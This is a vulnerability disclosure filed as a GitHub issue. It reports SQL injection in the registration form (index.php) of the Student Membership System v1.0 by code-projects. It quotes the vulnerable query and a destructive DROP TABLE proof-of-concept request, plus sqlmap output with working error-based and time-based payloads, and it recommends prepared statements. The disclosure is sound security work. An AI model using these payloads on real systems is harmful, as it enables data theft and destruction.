New issue

Student Membership System Sql Injection in index.php #1

Open

maidangdang1 opened 2 weeks ago · edited by maidangdang1 Edits Owner

HIGH: Sql Injection in index.php

Vuldb Submitter
nomath

Vendor
code-projects

Project
Student Membership System

Homepage
https://code-projects.org/student-membership-system-in-php-with-source-code/

Version
V1.0

Vulnerable File
/index.php

Class
sql_injection

Description:

In the user registration feature, user-submitted $_POST data is directly concatenated into SQL queries without any filtering or parameterization. An attacker could execute arbitrary SQL commands by crafting malicious input, potentially leading to data leaks, data tampering, or complete control over the database.

Impact: An attacker can execute arbitrary SQL commands, including deleting tables, reading sensitive data, modifying data, and gaining a database shell, thereby gaining complete control over the database.

Vulnerable Code:

```
mysql_query("insert into reg_member (firstname, lastname, age, address, gender, email, 
values('$firstname', '$lastname', '$age', '$address', '$gender', '$email', '$c_number', 
")
```

Suggested Fixes:

Use prepared statements (PDO or mysqli) instead of directly concatenating SQL. Perform strict type validation and escaping on all user input.

PoC Code:

```
firstname=test', 'test', 20, 'addr', 'Male', 'test@test.com', '123', 'ABC', NOW()); DRO
TABLE reg_member--
&lastname=test&age=20&address=test&gender=Male&email=test@test.com&c_number=123&captcha_code=
```

ScreenShots

```
sqlmap identified the following injection point(s) with a total of 1619 HTTP(s) requests:
---
Parameter: firstname (POST)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: firstname=123' AND EXTRACTVALUE(7433,CONCAT(0x5c,0x716a7a7a71,(SELECT (ELT(7433=7433,1))),0x7162717a71)) AND 'Zl
Qi'='ZlQi&lastname=123&age=1&gender=Male&address=123&email=123&c_number=123&captcha_code=123&submit=

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: firstname=123' AND (SELECT 3668 FROM (SELECT(SLEEP(5)))KqwR) AND 'prGE'='prGE&lastname=123&age=1&gender=Male&add
ress=123&email=123&c_number=123&captcha_code=123&submit=
---
[17:09:39] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.38, PHP 5.6.40
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
```


Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with agent mode

No branches or pull requests

Participants